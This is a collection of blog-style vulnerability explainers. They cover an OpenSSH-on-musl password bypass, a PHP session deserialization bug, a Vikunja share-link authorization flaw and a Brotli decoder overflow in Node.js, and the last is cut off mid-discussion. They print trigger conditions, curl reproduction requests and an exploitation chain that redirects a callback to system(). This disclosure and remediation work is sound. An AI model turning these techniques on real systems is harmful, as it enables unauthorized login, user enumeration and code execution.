DEV Community: GUIDANCE WHITE

[CVE-2026-123158] sshole : How Two Unrelated '' Strings Broke OpenSSH on musl

GUIDANCE WHITE — Fri, 06 Nov 2026 22:24:48 +0000

TL;DR

Item	Detail
CVE	CVE-2026-123158
Nickname	*sshole (sshhole)
Reported by	Özgün Kültekin (Wakefield)
Disclosed	November 5, 2026
Affected	OpenSSH sshd on musl libc without PAM (Alpine Linux's default config, among others)
Affected versions	OpenSSH 7.3 – 10.6p1 (since 2016)
Fixed in	OpenSSH 10.6p2
CVSS 3.1	8.1 (High)
Trigger condition	A passwordless (`*`) account + at least one other local account with a $5$ / $6$ hash
Trigger	Send any 257–1024 byte string as the password

This post walks through the sshd and musl source code to explain exactly how an attacker who knows no password at all can log in, just by sending a 257-byte string.

The core idea: two unrelated "*" strings turn out to be equal

Unix systems never store your password as-is — they store a hash, and compare hashes at login time. A normal shadow entry looks like this:

alice:$6$Qx7Lm2Pa$k3J9...(long hash)...:20000:0:99999:7:::

$6$ means SHA-512 crypt, and Qx7Lm2Pa is the salt (a random string mixed into the password so two users with the same password don't get the same hash).

Accounts that should only ever authenticate with an SSH key — never a password — follow a decades-old Unix convention and store a single asterisk instead:

keyonly:*:20000:0:99999:7:::

That convention only holds if no real password can ever hash down to the single character *. sshole is exactly the case where that assumption breaks.

musl libc's crypt() refuses passwords longer than 256 bytes and signals the failure by returning the literal string "*". It turns out that, under the right conditions, sshd can be tricked into generating exactly that "*" from an attacker-controlled password — and once it does, it matches the "*" stored for the passwordless account byte-for-byte.

Reading the source

Step 1 — How sshd checks a password without PAM

With PAM disabled, sshd verifies passwords itself in sys_auth_passwd(), in auth-passwd.c. This is the pre-patch code, as shipped in OpenSSH 9.3p2 on Alpine Linux 3.18:

/* Just use the supplied fake password if authctxt is invalid */
char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;
...
/*
 * Encrypt the candidate password using the proper salt, or pass a
 * NULL and let xcrypt pick one.
 */
if (authctxt->valid && pw_password[0] && pw_password[1])
    salt = pw_password;
encrypted_password = xcrypt(password, salt);

/*
 * Authentication is accepted if the encrypted passwords
 * are identical.
 */
return encrypted_password != NULL &&
    strcmp(encrypted_password, pw_password) == 0;

Textbook logic: read the stored hash, use it as the salt to hash the password the user just typed, and strcmp() the two strings.

The interesting line is this one:

if (authctxt->valid && pw_password[0] && pw_password[1])
    salt = pw_password;

Checking both pw_password[0] and pw_password[1] means the stored value needs at least two characters before sshd will use it as a salt. * is only one character, so it fails this check, and salt stays NULL. That forces the very next line, xcrypt(password, salt), to come up with a salt on its own.

Step 2 — Borrowing a salt from another account

When salt is NULL, pick_salt() in openbsd-compat/xcrypt.c picks one:

if (salt[0] != '\0')
    return salt;
strlcpy(salt, "xx", sizeof(salt));
setpwent();
while ((pw = getpwent()) != NULL) {
    if ((passwd = shadow_pw(pw)) == NULL)
        continue;
    if (passwd[0] == '$' && (p = strrchr(passwd+1, '$')) != NULL) {
        typelen = p - passwd + 1;
        strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt)));
        explicit_bzero(passwd, strlen(passwd));
        goto out;
    }
}
out:
endpwent();
return salt;

It walks /etc/passwd front to back, looking for the first account whose hash starts with $ and has a second $ delimiter — a modern crypt format like $5$... or $6$.... It returns the hash-type-plus-salt prefix of that account, or falls back to the legacy DES placeholder "xx" if nothing matches.

This function exists because of CVE-2016-6210. In 2016, researchers showed that sshd's response time differed for nonexistent users versus real ones — a timing side-channel that let attackers enumerate valid usernames. The fix was to always borrow a real account's salt format when none was available, so the timing cost looked the same either way. The intent was to protect against usernames that don't exist. But because of the pw_password[1] check above, a real account with * falls into the exact same code path.

So our passwordless keyonly account ends up borrowing, say, alice's $6$Qx7Lm2Pa salt for the comparison.

Step 3 — musl crypt()'s 256-byte cap

Next, sshd hashes the attacker's password using that borrowed salt. musl's SHA-512 crypt implementation (src/crypt/crypt_sha512.c) caps the input length:

/* key limit is not part of the original design, added for DoS protection.
 * rounds limit has been lowered (versus the reference/spec), also for DoS
 * protection. runtime is O(klen^2 + klen*rounds) */
#define KEY_MAX 256
...
    /* reject large keys */
    for (i = 0; i <= KEY_MAX && key[i]; i++);
    if (i > KEY_MAX)
        return 0;

Anything over 256 bytes is refused outright — a sensible DoS protection. What matters is what the caller gets back on that failure:

p = sha512crypt(key, setting, output);
/* self test and stack cleanup */
q = sha512crypt(testkey, testsetting, testbuf);
if (!p || q != testbuf || memcmp(testbuf, testhash, sizeof testhash))
    return "*";
return p;

Not NULL — the string "*". POSIX says crypt() should return a null pointer and set errno on error, but musl deliberately returns a string instead, because (per its own commit message) "a large portion of programs which call crypt are not prepared for its failure and do not check that the return value is non-null." glibc's libxcrypt, by contrast, returns NULL on failure, which sshd already filters out with encrypted_password != NULL — this is exactly why glibc distros like Debian, Ubuntu and RHEL are not affected.

Worth noting: musl does guard against the obvious version of this bug. In crypt_des.c:

return (setting[0]=='*') ? "x" : "*";

If the salt itself starts with *, musl returns "x" instead — so crypt(password, "*") can never produce "*". That guard protects the classic pattern, where a program uses the stored field as its own salt. But sshd never does that here; it uses a borrowed $6$... salt from a different account. As far as musl is concerned, it's just doing an ordinary SHA-512 crypt with a valid salt that happens to fail because the input is too long — the guard never triggers.

Step 4 — Where the two "*" meet

Putting it together:

encrypted_password = xcrypt(password, salt);   /* salt borrowed from alice, password is 257 bytes */
return encrypted_password != NULL &&
    strcmp(encrypted_password, pw_password) == 0;  /* "*" vs "*" */

pw_password: the stored value for keyonly → "*"
encrypted_password: musl's error string from trying to hash a 257-byte password with the borrowed salt → "*"

strcmp("*", "*") returns 0, and sshd accepts the login.

In practice this usually takes two attempts in the same SSH connection. musl's getspnam() reuses an internal shared buffer, and pick_salt()'s lookup of another account overwrites and then wipes that buffer with explicit_bzero(). So on the first attempt, pw_password ends up pointing at corrupted memory and the comparison simply fails. From the second attempt onward in the same connection, the salt is cached and the comparison runs cleanly. Since sshd allows up to 6 password attempts per connection by default (MaxAuthTries), this extra attempt costs the attacker nothing.

The full attack flow

Conditions required

All of the following must hold:

sshd is built against musl libc and without PAM (Alpine Linux's default openssh-server package)
PasswordAuthentication yes (OpenSSH's default)
The target account's shadow field is exactly * (accounts locked with ! are safe)
The earliest $-hashed account in /etc/passwd order uses a vulnerable hash type

$5$ / $6$ (SHA-256/512): needs a 257–1024 byte password
bcrypt ( $2a$ / $2b$ / $2y$ ): pick_salt() miscalculates the $ delimiter position for bcrypt salts, so any 1–1024 byte password works regardless of length (fixed separately upstream in commit 84f8f466)
If $1$ (MD5) or $y$ (yescrypt) comes first, neither path applies

Root itself uses * on Alpine too, but the default PermitRootLogin prohibit-password blocks direct root logins this way. However, Alpine's official cloud images (3.18.11–3.24.3) ship an alpine user with passwordless doas — so bypassing login for that single account is effectively root.

The fix: OpenSSH 10.6p2

The patch to auth-passwd.c is just a few lines:

+#define MIN_PASSWORD_HASH_LEN    4
 #define MAX_PASSWORD_LEN 1024
...
-    return encrypted_password != NULL &&
+    ret = encrypted_password != NULL &&
+        strlen(pw_password) >= MIN_PASSWORD_HASH_LEN &&
         strcmp(encrypted_password, pw_password) == 0;
+    freezero(pw_password, strlen(pw_password));
+    return ret;

The key addition is strlen(pw_password) >= MIN_PASSWORD_HASH_LEN. The shortest valid hash (legacy DES) is 13 characters, so anything stored under 4 characters is excluded from the comparison entirely — whether it's *, !, or any error string musl might return. This single check closes every path described in this post, bcrypt salt-parsing bug included.

The patch also changes shadow_pw() to return an xstrdup()'d copy instead of a pointer into a shared buffer, and wipes it with freezero() after use — removing the root cause of the "needs two attempts" buffer-reuse behavior described above.

Checking for exposure

Run these as root to check quickly:

# musl-based?
ldd "$(command -v sshd)" | grep -i musl

# PAM in use?
sshd -T 2>/dev/null | grep -i '^usepam'

# password login allowed?
sshd -T 2>/dev/null | grep -i '^passwordauthentication'

# accounts with "*" in the shadow field
awk -F: '$2=="*"{print $1}' /etc/shadow

# accounts with a $5$/$6$ hash
awk -F: '$2 ~ /^\$[56]\$/{print $1}' /etc/shadow

If you see a musl match, usepam no, passwordauthentication yes, at least one * account, and at least one $5$ / $6$ account, the host is vulnerable on any pre-patch version.

Remediation

Update and restart sshd — updating the package alone doesn't help if the running process isn't restarted.

   apk upgrade -U
   rc-service sshd restart

Can't update right now? Turn off password auth (make sure key-based login works first):

   echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/00-no-passwords.conf
   sshd -t && rc-service sshd restart
   sshd -T | grep -i passwordauthentication

Alpine 3.16–3.18 don't read sshd_config.d by default, so add PasswordAuthentication no directly to /etc/ssh/sshd_config on those versions.

Check for signs of abuse — look for Accepted password for log lines naming an account that should never accept a password login:

   grep -h 'Accepted password for' /var/log/messages /var/log/auth.log 2>/dev/null

CVE-2026-115560 Explained: How a PHP Session Serializer Mismatch Turns Into RCE

GUIDANCE WHITE — Fri, 06 Nov 2026 12:00:08 +0000

TL;DR


Type	RCE via session serializer mismatch → `unserialize()`
Needs	Specific config + specific app code + a default-on feature
Patched?	Not yet. Fix planned for the next regular PHP release
Mitigation	`session.upload_progress.enabled = 0`
Exploited in the wild?	Not reported as of the advisory
Severity	Some sources list vendor CVSS v4 9.2 (Critical), but PHP had not published an official score or affected-version list yet

Background in 3 minutes

1. Session serialize handlers

PHP has to turn $_SESSION into a string to store it. The converter is the serialize handler, chosen with session.serialize_handler: php (default), php_binary, or php_serialize. The rule that matters here: the handler used to write must match the handler used to read.

2. Session upload progress

If an upload form includes a field named PHP_SESSION_UPLOAD_PROGRESS, PHP writes upload progress (file name, bytes received, etc.) into $_SESSION while the request body is still being parsed. It's enabled by default, and the stored data includes values chosen by the client (the field value and the file name).

3. Why `unserialize()` is dangerous

unserialize() instantiates objects named in the string and may trigger magic methods like __wakeup / __destruct. If an attacker controls the string and your app or its dependencies contain a usable "gadget" class, that can end in code execution.

The three conditions

PHP says all three must be true:

![Three conditions that must all be true: serialize_handler set to php_serialize or php_binary, application calls ini_set to php before session_start, and session.upload_progress.enabled is on]

Config: session.serialize_handler is php_binary or php_serialize (the default is php, so a stock install fails this check).
Application code: the app switches it back to php at runtime with ini_set() before calling session_start().
Feature: session upload progress is enabled (the default).

That combination is rare, which is why PHP is handling it in the regular release cycle rather than as an emergency.

Source-level walkthrough (simplified)

Same data, different formats

Say we store username = alice:

// "php" handler: name|serialized_value
username|s:5:"alice";

// "php_serialize" handler: the whole $_SESSION as one serialized array
a:1:{s:8:"username";s:5:"alice";}

The crucial detail: the php handler uses the pipe character | as the delimiter between the variable name and its serialized value. When reading, it finds the first |, treats everything before it as the name, and passes everything after it to unserialize().

![A string stored in php_serialize format containing a pipe character inside an attacker-controlled value, then read back by the php handler, which splits at the pipe and unserializes the remainder]

Demo above is a made-up class for illustration. What actually happens next depends on which gadget classes exist in the target application.

The writer: progress is recorded before your script runs

Upload progress is handled while PHP parses the multipart body, i.e. before any user script executes. Conceptually:

/* Simplified pseudocode, NOT real php-src */
/* Runs during request parsing, before user code */

on field "PHP_SESSION_UPLOAD_PROGRESS":
    key = "upload_progress_" + (value sent by the client)   /* input 1 */
    open session, decode existing data

on file start:
    progress.files[i].name = (uploaded file name)           /* input 2 */

on progress update:
    $_SESSION[key] = progress array
    PS(serializer)->encode()  -> write to session storage

Two takeaways:

The serializer used here is the one from php.ini (e.g. php_serialize), because the app's ini_set() hasn't run yet.
Inputs 1 and 2 are attacker-controlled and can contain |.

So tainted data lands in the session store, encoded in php_serialize format.

The reader: your app flips the handler

The condition-2 pattern looks like this:

<?php
// php.ini: session.serialize_handler = php_serialize

// e.g. for legacy compatibility, switch back right before starting the session
ini_set('session.serialize_handler', 'php');   // <-- the risky bit
session_start();                                 // decodes stored data as "php" format

Now the stored string (written as php_serialize) is decoded as php. That's exactly the mismatch in the figure above:

/* Simplified pseudocode: the "php" handler's decode loop */
while (input remains):
    pos   = index of first '|'
    name  = input[start .. pos)
    value = unserialize(input[pos+1 ..])    /* <-- objects get created here */
    $_SESSION[name] = value

Why "stale global state" and "different requests" matter

Vendor write-ups (for example SIOS Security Blog) describe this as a stale global state issue where the "producer" and "consumer" steps happen in different HTTP requests handled by the same worker. In long-lived workers such as PHP-FPM, engine globals like the current serializer pointer (PS(serializer)) can carry over between requests if they aren't reset. A community backport patch resets that pointer between requests, which fits this picture. Exactly which global leaks and how is something only the official advisory can confirm.

Full attack flow

![Sequence diagram: Request A uploads a multipart POST that gets stored with php_serialize; Request B switches to php handler and calls session_start, which misreads the pipe as a delimiter, unserializes attacker data, and may reach RCE if a gadget exists]

Request A plants the tainted string. Request B is an ordinary page, which is why it's hard to spot from logs alone. (I've left out session-ID handling and other exploitation specifics on purpose.)

Why unserialize ≠ automatic RCE

Creating an object isn't the same as owning the server. Code execution needs a gadget: a class in your app or dependencies whose magic methods do something dangerous (file operations, command execution, and so on). So the real-world impact depends heavily on your dependency tree. Large Composer-based apps tend to have more gadget candidates.

What the community patch does (and doesn't)

For EOL PHP versions (5.4–8.1), a community project (php2shell-patches) ships an "enhanced" backport that describes a three-layer defense. This is not an official PHP patch and is not validated by the PHP Group. It's still a nice illustration of defense in depth:

Layer	What it does	What it blocks
Delimiter sanitization	Strips NUL, `\	`, CR, LF from names recorded by upload progress
Serializer reset	Sets `PS(serializer)` back to `NULL` between requests	Stale serializer state across requests
Strict decode gate	During progress decode, only `__PHP_Incomplete_Class` is used (no autoload, no `__wakeup`)	Limits damage even if unserialize runs

The same project's "minimal" flavor simply disables upload progress, which matches PHP's official mitigation.

What you should do

1. Turn the feature off

; php.ini, PHP-FPM pool config, or web server config
session.upload_progress.enabled = 0

Restart all PHP workers afterwards (e.g. systemctl restart php8.3-fpm).
If you already did this for PHP2Shell, you're covered. Just keep it that way.
Don't rely on ini_set() or .user.ini for this. PHP's guidance points to php.ini, the FPM pool, or server config.
Side effect: apps that use this feature for upload progress bars will lose them.

2. Check whether you're even exposed

# Condition 2: does any code change the handler at runtime?
grep -rn "session.serialize_handler" /var/www --include=*.php

# Conditions 1 and 3: what's the effective config?
php -i | grep -E "session.serialize_handler|session.upload_progress.enabled"

If nothing in your code touches session.serialize_handler and the config value is php, this particular path doesn't apply to you. Note that php -i shows CLI settings; check your FPM/Apache config separately.

3. Longer term

Apply the next regular PHP release as soon as it ships. It should include the full advisory with affected and fixed versions.
Remove runtime ini_set('session.serialize_handler', ...) calls and standardize on one handler.
Turn off features you don't use. PHP itself suggested keeping upload progress off even after patching if you don't need it, since rarely used, lightly tested features attract attackers.
Plan upgrades off EOL branches, which won't get an official fix.

CVE-2026-68582: How a Share Link Lets You Read Someone Else's Kanban Board (Vikunja BOLA)

GUIDANCE WHITE — Sat, 31 Oct 2026 21:13:28 +0000

TL;DR

Target: Vikunja, a self-hosted, open-source to-do and kanban app (Go backend)
Affected: 0.24.0 through 2.3.0 → fixed in 2.4.0
Class: BOLA / Broken Object Level Authorization (CWE-639, CWE-863)
Endpoint: GET /api/v1/projects/{project}/views/{view}/tasks
Precondition: any project's share link. No account needed
Leaks: bucket titles, bucket creator (created_by: username, name, id), and whether a given project/view ID exists
Does not leak: task contents of other projects

Background: share links and kanban views

A share link lets you show a project to someone without an account. Calling POST /api/v1/shares/{hash}/auth with the link's hash returns a share JWT that carries one fact: "this token is for project A" (ProjectID). Share links are meant to be handed to outsiders, so treat them as semi-public.

A view is one way of looking at a project: list, kanban, table. A kanban view owns buckets (the columns: To Do / Doing / Done), and every bucket records who created it (created_by).

Version 0.24.0 added per-view kanban (feat(views)!: return tasks in buckets by view), which introduced projects/{project}/views/{view}/tasks. That endpoint is where this bug lives.

The idea in one analogy

Think of a hotel key card.

The front desk reads the room number (A) off your key card and limits the cleaning list to room A. But the request form also asks for a floor plan (view), and the desk copies whatever you wrote. If you write down room B's floor plan, the cleaning list is still room A's, but the floor plan drags room B's layout and staff names along with it.

The server pinned the project from the token. It never checked that the view from the URL belongs to that project.

Source code walkthrough

The root cause is in TaskCollection.ReadAll (pkg/models/task_collection.go). The snippets below are excerpts from the GitHub security advisory (GHSA-rj9j-8772-4h6c); ... marks omitted code.

Step 1: the view is read straight from the URL

// pkg/models/task_collection.go  (ReadAll)
if tf.ProjectViewID != 0 {
    view, err = GetProjectViewByIDAndProject(s, tf.ProjectViewID, tf.ProjectID) // (URL params)
    ...
}

Both tf.ProjectViewID and tf.ProjectID are bound from the URL path (/projects/{project}/views/{view}), so the attacker controls both.

GetProjectViewByIDAndProject (pkg/models/project_view.go) does what its name says: it looks up a view with WHERE id = ? AND project_id = ?.

If the (project, view) pair exists → the view is returned
If not → ErrProjectViewDoesNotExist (HTTP 404)

There is no check that the caller may see this view. That is not a flaw in the function itself, since it is a plain lookup. The question is whether an authorization check follows it.

Step 2: the link-share branch never re-validates the view

shareAuth, is := a.(*LinkSharing)
if is {
    project, err := GetProjectSimpleByID(s, shareAuth.ProjectID)   // token's project
    ...
    return getTaskOrTasksInBuckets(s, a, []*Project{project}, view, opts, filteringForBucket, tf.forceFlatTasks)
    // `view` is the foreign, attacker-controlled view — never validated against shareAuth.ProjectID
}

Line by line:

a.(*LinkSharing): a type assertion that checks whether the caller is a share-link token.
GetProjectSimpleByID(s, shareAuth.ProjectID): loads the token's own project (A). This part is correct. Task scope is nailed to A.
getTaskOrTasksInBuckets(..., []*Project{project}, view, ...): passes project A together with the view loaded in step 1, untouched.

The author likely reasoned that pinning the task scope to A makes the request safe. But view is a second, independent input, and nothing confirms it belongs to A. The comment in the excerpt says it best: the view is foreign and attacker-controlled, and never validated against shareAuth.ProjectID.

Step 3: the foreign view's buckets are queried as-is

Following getTaskOrTasksInBuckets into GetTasksInBucketsForView (pkg/models/kanban.go):

err = s.Where("project_view_id = ?", view.ID).OrderBy("position").Find(&buckets)
...
users, err := getUsersOrLinkSharesFromIDs(s, userIDs) // resolves each bucket's created_by

First line: loads every bucket belonging to view.ID. If the view is B's, you get B's buckets.
Last line: resolves each bucket's created_by ID into a full user object.

The Bucket struct serializes CreatedBy *user.User as json:"created_by", so the creator's username, name, and id go straight into the response.

Why the normal path was safe

A logged-in user takes a different route. getRelevantProjectsFromCollection calls project.CanRead on the URL's project and returns 403 if access is denied, before any bucket data exists.

Only the LinkSharing branch skips that gate. On top of that, ReadAllWeb (pkg/web/handler/read_all.go) performs no authorization of its own, so all authorization for this endpoint lives inside ReadAll. There is exactly one gate, and the link-share branch has a side door around it.

Why task contents don't leak

In step 2 the task query scope is []*Project{project}, i.e. project A. Internally getRawTasksForProjects filters on tasks.project_id IN opts.projectIDs. So B's kanban structure (bucket titles, creators) is visible, but the tasks that would sit inside those buckets are filtered out by A's scope. The advisory states this explicitly: victim task contents do not leak.

Attack flow

Attacker takes any project A's share link and calls POST /api/v1/shares/{hash}/auth → gets a share JWT
Calls GET /api/v1/projects/{B}/views/{V_B}/tasks with that JWT
The server looks up (B, V_B) (no authorization check)
The link-share branch pins tasks to A but keeps view V_B
V_B's buckets and created_by user info come back with 200

Reproducing it

A public PoC repository (comradezephyr/CVE-2026-68582-PoC) exists, but it was empty when I checked. The commands below are the advisory's reproduction steps translated into curl. Run them only against a test instance you control.

HOST="http://localhost:3456/api/v1"

# 1) Get a share JWT from project A's share-link hash
TOKEN=$(curl -s -X POST "$HOST/shares/$SHARE_HASH/auth" \
  -H "Content-Type: application/json" -d '{}' | jq -r '.token')

# 2) Ask for a kanban view that belongs to an unrelated project B
curl -s "$HOST/projects/$B/views/$V_B/tasks" \
  -H "Authorization: Bearer $TOKEN" | jq '.[] | {title, created_by}'

A 200 returns B's buckets with title and created_by (username, name, id).
Iterating {B}/{V_B} over sequential integers turns the 200-vs-404 difference into an existence oracle.

The advisory also includes a local test. A LinkSharing{ProjectID: 1} (project 1 owned by user 1) called TaskCollection{ProjectID: 2, ProjectViewID: 8}.ReadAll and received project 2's buckets ("testbucket4 - other project", "testbucket40") plus created_by (project 2 is owned by user 3), with no error. A nonexistent view ID returned ErrProjectViewDoesNotExist.

Impact

A single share token, which is a semi-public artifact by design, allows:

ID enumeration: project and view IDs are sequential integers, so 404 vs 200 reveals what exists across the whole instance.
User enumeration: Vikunja auto-creates a default project with a kanban view for every user. Walking view IDs yields essentially every account's username, name, and user id.
Bucket title harvesting: the kanban structure of the entire instance is exposed.

This is not a direct task-content leak. It is PII exposure and reconnaissance for follow-up attacks. Note that a logged-in user also loads the view before checking CanRead, so they get the same ID-existence oracle from the difference between a nonexistent pair (404) and an inaccessible one (403).

Why the score differs by source

This CVE carries different scores depending on where you look:

GitHub/CNA (VulnCheck): CVSS v4.0 9.3 (Critical), with High confidentiality, integrity, and availability
The same CNA record's CVSS v3.1 is 6.5 (Medium) (PR:L, C:H/I:N/A:N)
The GitLab Advisory DB lists 9.8

The advisory's prose describes bucket structure and user identifiers leaking, which reads as a confidentiality-focused information disclosure. A v4 score of 9.3, especially with High integrity and availability, does not line up well with that text. That mismatch is why "Critical, but no task data leaks?" feels off.

The fix

The fix shipped in 2.4.0. The advisory's recommended direction is:

if shareAuth, is := a.(*LinkSharing); is {
    tf.ProjectID = shareAuth.ProjectID
}

placed before the view is loaded. Whatever project the URL names, a link-share caller's ProjectID is overwritten with the token's project.

GetProjectViewByIDAndProject(s, viewID, A) then runs WHERE id = V_B AND project_id = A. V_B belongs to B, so the lookup fails and the response is 404.
It matches how the task query was already pinned to shareAuth.ProjectID.

The advisory also recommends defense in depth: for every auth type, authorize the caller against the view's project before loading the view. That would close the 404-vs-403 existence oracle for regular users too.

What to do

Upgrade Vikunja to 2.4.0 or later. The 2.4.0 release bundles 10 security fixes, so upgrade promptly.
If you cannot upgrade right away, avoid distributing share links publicly. Link sharing is enabled by default, so this is a stopgap, not a fix.
If you have published share links in the past, assume usernames and bucket titles on your instance may have been harvested.

Takeaway: two inputs, two authorization checks

This bug is not a case of "no authorization at all." The developer clearly pinned the task scope to the token's project. What got missed was a second user-controlled input in the same request (the view).

When a request carries more than one object identifier (project, view), verify each one against the caller's scope separately.
When authorization is concentrated in one function that branches by auth type, check that every branch performs the same checks. Here the regular-user branch went through CanRead and the link-share branch did not.
Features added later can combine with old branches to create new bugs. The advisory notes that the link-share branch had existed for a long time and only became vulnerable once the 0.24.0 view feature arrived.

[CVE-2026-111497] Node2Shell: How Brotli's Counter Exhaustion Turned an Error Into an Arbitrary Write

GUIDANCE WHITE — Sat, 24 Oct 2026 21:36:01 +0000

At a glance

Item	Detail
CVE ID	CVE-2026-111497 (nicknamed Node2Shell)
Vulnerability class	CWE-787 (out-of-bounds write); root cause is CWE-252 (unchecked return value)
Severity	High (per Node.js's official classification — though "remote blind RCE" is not established by any public PoC)
Affected component	Google Brotli decoder, `c/dec/decode.c` (Brotli 1.0.3–1.0.9 / 1.1.0 / 1.2.0)
Affected Node.js	22.x < 22.23.4, 24.x < 24.22.1, 26.x < 26.12.1 (any distro Node that dynamically links system Brotli); Python `brotli` / `brotlicffi` share the same bug
Fixed in	Brotli 1.0.10 / 1.1.1 / 1.2.1, Node.js 22.23.4 / 24.22.1 / 26.12.1 (2026-10-21)
Reported by	OpenAI Codex Security (Khai Tran, Sylvie Mayer); fixed by Matteo Collina and Antoine du Hamel
Public PoC	`dimasma0305/CVE-2026-111497-POC`; independent reproduction and struct-offset analysis in `TheFool-TAROT/CVE-2026-111497-brotli-pwn`

Brotli is the format behind Content-Encoding: br, so this decoder runs whenever Node.js decompresses Brotli data — directly through node:zlib, automatically inside the built-in fetch() when it receives a Brotli response, or inside Express 5 / body-parser 2 when they decode an incoming request body. Every point where Node.js unpacks Brotli data it didn't produce itself is attack surface.

1. The core problem — an ERROR disguised as "need more input"

A Brotli stream is organized into metablocks, and within each metablock three kinds of "block types" alternate: literals, insert-and-copy commands, and distances. Each block type has a block_length counter, and once that counter hits zero the decoder has to read a new block type from the Huffman tree to keep going.

If a stream declares only a single block type (NBLTYPES ≤ 1) and the attacker drains block_length down to exactly zero, the decoder ends up in a contradictory state: it needs to switch to a new block type, but there isn't one to switch to. That should be an immediate format error — the stream itself is malformed. Instead, the pre-patch code interprets this failed block switch as "the input ran out" and returns NEEDS_MORE_INPUT.

As simplified pseudocode:

// Brotli 1.0.3–1.2.0, c/dec/decode.c (reconstructed, simplified)
BROTLI_BOOL DecodeDistanceBlockSwitch(BrotliDecoderState* s) {
    if (s->block_length[2] == 0) {
        // NBLTYPES<=1 means there is no next block type to read —
        // this is actually a malformed stream.
        if (!BrotliSafeReadBits(br, s->block_type_bits_hint, &block_type)) {
            // treated as "not enough input yet"
            return BROTLI_FALSE;   // caller translates this to NEEDS_MORE_INPUT
        }
    }
    ...
}

Hitting block_length[2] == 0 exactly isn't luck — it takes input engineered to consume precisely that much. That's why the PoC packs 2^24 (16,777,216) "zero-output" dictionary-transform commands into a single 16 MiB metablock. These commands write nothing to the output buffer; their only effect is draining the distance block counter by one each — a purpose-built way to grind the counter down to zero. Since RFC 7932's maximum metablock length (MLEN) is exactly 2^24, the attacker has to fill the metablock all the way to the cap to reach this boundary condition.

2. The streaming retry loop walks right past the boundary

NEEDS_MORE_INPUT is normally a perfectly legitimate signal. Node.js decompresses data in chunks, so when the decoder says "not enough yet," the caller appends the next chunk and retries. The problem is that the decoder can't tell the difference between genuinely running low on input and a structurally impossible block switch that will never resolve, no matter how many bytes you feed it.

In a real "need more input" case, a few more bytes supply the missing bits and decoding moves forward. But the fake NEEDS_MORE_INPUT produced by counter exhaustion can never be satisfied — there's no amount of additional data that fixes a stream whose block-type table is already exhausted. The retry loop doesn't know that, though, and keeps appending bytes into a small internal staging buffer (buffer.u8[], 8 bytes). That buffer was only ever meant to hold a few bits momentarily while reading them; it was never designed to grow past 8 bytes. This missing length check on the append is the actual CWE-787 (out-of-bounds write).

3. Attack flow diagram

4. The second write — spilling past 8 bytes into decoder state

The real attack is two writeSync calls. The first feeds the entire ~23 MB trigger stream, exhausting the counter and provoking the fake NEEDS_MORE_INPUT. At that point, internal buffer_length is already sitting at 1. The second call then delivers a small 127-byte follow-up chunk. The decoder keeps doing buffer.u8[buffer_length++] = byte, marching one byte at a time straight past the end of the buffer.u8 field (struct offset 72) and into whatever comes next in memory.

The relevant BrotliDecoderState field offsets (x86-64, Brotli 1.2.0, gcc) look like this:

struct BrotliDecoderStateInternal {
    /* earlier fields omitted */
    brotli_free_func free_func;        // offset 56  — callback function pointer
    void* memory_manager_opaque;       // offset 64  — argument passed to that callback
    uint8_t buffer.u8[8];              // offset 72  — the original 8-byte staging buffer (!)
    uint32_t buffer_length;            // offset 80
    int32_t pos;                       // offset 88  — current write position in the ring buffer
    uint32_t max_backward_distance;    // offset 92
    uint32_t max_distance;             // offset 96
    uint32_t ringbuffer_size;          // offset 100
    uint32_t ringbuffer_mask;          // offset 104
    uint8_t* ringbuffer;               // offset 136 — actual decompressed output buffer
};

The trailing bytes of the 127-byte chunk overwrite pos, max_backward_distance, and max_distance wholesale with attacker-chosen values. The overwrite stops around relative offset 99, so it doesn't quite reach ringbuffer_size (100) or the ringbuffer pointer (136) — those two fields become read-only leverage in the next step instead of overwrite targets.

What matters here is that pos and max_distance are normally trusted values the decoder computes internally as it tracks stream progress — never something raw input bytes should be able to set directly. A single missing length check on an 8-byte buffer completely erases the line between "trusted internal state" and "attacker-controlled bytes."

5. The 16-byte arbitrary write — memmove16 and ring-buffer wraparound

Once pos, max_backward_distance, and max_distance have been overwritten, resuming decoding makes the decoder treat these as a valid back-reference and enter the ring-buffer copy path. For performance, Brotli's core copy routine moves data in 16-byte chunks via memmove16, and the destination of that copy is determined directly by the attacker-controlled pos.

// Back-reference copy (reconstructed, simplified)
uint8_t* dst = s->ringbuffer + s->pos;
uint8_t* src = s->ringbuffer + ((s->pos - distance) & s->ringbuffer_mask);
memmove16(dst, src);   // copies 16 bytes with no bounds check

Under normal operation pos is always a positive value within the ring buffer's range, but after the second write it's already an arbitrary 32-bit signed integer the attacker fully controls. Make pos negative, and dst = ringbuffer + pos lands before the start of the ring buffer — inside the region occupied by the BrotliDecoderState struct itself. In effect, a single chosen pos value gives the attacker a primitive: "write 16 bytes at an arbitrary offset relative to the state struct."

Exactly which address src resolves to depends on a combination of pos, distance, and ringbuffer_mask, so precisely targeting it in one shot is hard. The public PoC works around this by pre-filling the first 536 bytes of the ring buffer with a repeating 16-byte [function pointer, argument pointer] pattern. Whichever aligned window src happens to land on, it reads out a valid pair of pointers — so whichever window gets chosen, the single memmove16 still copies something useful to the destination.

6. Callback hijacking — from free_func to system()

If pos is tuned so this 16-byte write lands exactly on free_func (offset 56) and memory_manager_opaque (offset 64), the attacker completely replaces the decoder state's "memory free callback." Brotli calls free_func(opaque, ptr) internally whenever BrotliDecoderDestroyInstance() runs. Overwrite free_func with the address of system, and opaque with the address of an attacker-supplied command string already sitting in the ring buffer, and the moment Node.js calls handle.close(), it effectively triggers system(command).

The public PoC's local reproduction script, run under node --predictable (which pins the address space layout), reliably reaches the point of executing an arbitrary command and dropping a marker file. The independent reproduction in TheFool-TAROT/CVE-2026-111497-brotli-pwn reaches the same conclusion — 3 out of 3 local command-execution attempts succeeded under a deterministic layout, and a much smaller 86-byte stream alone was enough to reproduce a separate denial-of-service that pegs a CPU core at 100%.

Imperva Red Team's independent analysis (which coined the name Node2Shell) reproduced code execution against the official Node.js 24.22.0 Linux arm64 build, through both Express 5 / body-parser 2 request bodies and a consumed Brotli HTTP response via fetch(), and confirmed the same inputs were rejected — with the process staying alive — on the patched 24.22.1.

7. Why this isn't a remote blind RCE — yet

Every piece of public research agrees on one limitation. The real target of memmove16 isn't simply pos — it's pos plus a ring-wrap compensation value W. W depends on pos itself and on decoding progress, and it varies between processes, and even between requests within the same process. Reliably hitting free_func remotely would require knowing, ahead of time, at least three things:

delta = address of the state struct − address of the ring buffer (readable within the same process, but it drifts between requests)
the absolute address of the ringbuffer
a libc base address to resolve system

